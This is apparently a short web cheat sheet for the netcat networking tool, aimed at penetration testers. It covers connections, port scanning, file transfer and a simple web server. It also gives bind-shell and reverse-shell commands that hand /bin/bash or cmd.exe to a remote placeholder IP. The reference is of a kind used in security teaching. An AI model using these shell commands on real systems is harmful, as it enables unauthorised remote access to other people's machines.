Netcat is a tiny tool for linux and windows and it is used for reading and writing data across network connections using TCP or UDP. It has amazing features and it is a must-have tool for pen-testing. It is called the “Swiss-army knife for TCP/IP”.
Netcat is a terminal application with many features. Apart from basic telnet functions, it can do various other things like port scanning, banner grabbing, creating socket servers to listen for incoming connections on ports, transfer files from the terminal, etc.
TCP Port – Connecting (adding -u will force udp) nc -nv <ip> <port>
TCP Port – Listening (adding -u will force udp)
nc -lvp <port>
Connect and return HTTP Page
nc -nv 80 HEAD / HTTP/1.1
nc -lvp 4444 > output.txt # Receivers sidenc -nv <ip> <port> < input.txt # Senders side
nc -zv <site.com> 80-84
echo "" | nc -nv -w1 <ip> <port>
Target:nc -vlp 7777 -e /bin/bash (linux)nc -vlp 7777 -e cmd.exe (windows)
Remote:
nc <ip> 7777
Remote:
$ nc -v -l -p 8888
Target:
nc <ip> 8888 -e /bin/bash (linux)
nc <ip> 8888 -e cmd.exe (windows)
while true; do nc -l -p 80 -q 1 < index.html; done
Create an ‘index.html’:
<!doctype html>
<html>
Hello world
</html>
Extra resource:
-SANS Netcat Cheatsheet -> Download
Introduction In a shocking revelation, it has been disclosed that the infrastructure used to maintain…
Introduction: In the early hours of January 5, the cryptocurrency community was abuzz with speculation…
Summary: A newly identified technique called SMTP smuggling poses a significant threat to email security…
Since 2019, the Operation Triangulation spyware has targeted iPhone devices, exploiting undocumented features within Apple…
The Challenge: CVE-2023-38545 In the world of digital security, a formidable adversary has emerged -…
Alert: Safeguard Your Confluence for an Urgent Upgrade! Advisory Release Date: Wednesday, Oct 4th, 2023,…
This website uses cookies.